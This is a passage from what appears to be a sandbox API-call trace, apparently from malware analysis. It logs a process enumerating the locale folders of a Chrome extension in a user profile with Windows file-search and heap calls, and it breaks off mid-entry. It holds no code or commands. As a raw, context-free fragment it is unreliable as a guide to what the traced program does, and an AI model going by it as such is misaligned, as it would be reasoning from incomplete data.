ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.051] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.051] GetProcessHeap () returned 0x550000 [0272.051] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.051] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0272.052] GetProcessHeap () returned 0x550000 [0272.052] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.107] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0b190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f0b190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.107] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.107] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f0c130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.107] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.108] GetProcessHeap () returned 0x550000 [0272.108] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.108] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0272.108] GetProcessHeap () returned 0x550000 [0272.108] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.108] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.108] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.108] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x11d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.108] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.110] GetProcessHeap () returned 0x550000 [0272.110] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.110] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0272.110] GetProcessHeap () returned 0x550000 [0272.110] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.110] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.209] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.209] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.209] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.209] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.209] GetProcessHeap () returned 0x550000 [0272.209] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.209] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0272.210] GetProcessHeap () returned 0x550000 [0272.210] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.210] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.210] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.210] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.210] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.210] GetProcessHeap () returned 0x550000 [0272.211] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.211] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0272.211] GetProcessHeap () returned 0x550000 [0272.211] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.211] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.295] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.295] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.295] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.295] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.295] GetProcessHeap () returned 0x550000 [0272.295] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.295] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0272.296] GetProcessHeap () returned 0x550000 [0272.296] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.296] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f312f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f312f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.296] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.296] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f33230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.296] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.297] GetProcessHeap () returned 0x550000 [0272.297] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.297] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0272.297] GetProcessHeap () returned 0x550000 [0272.297] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.297] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.390] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.390] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0272.391] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57c20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0272.391] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0272.391] GetProcessHeap () returned 0x550000 [0272.391] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0272.391] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0272.391] GetProcessHeap () returned 0x550000 [0272.391] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86f57450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0272.391] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86f57450, 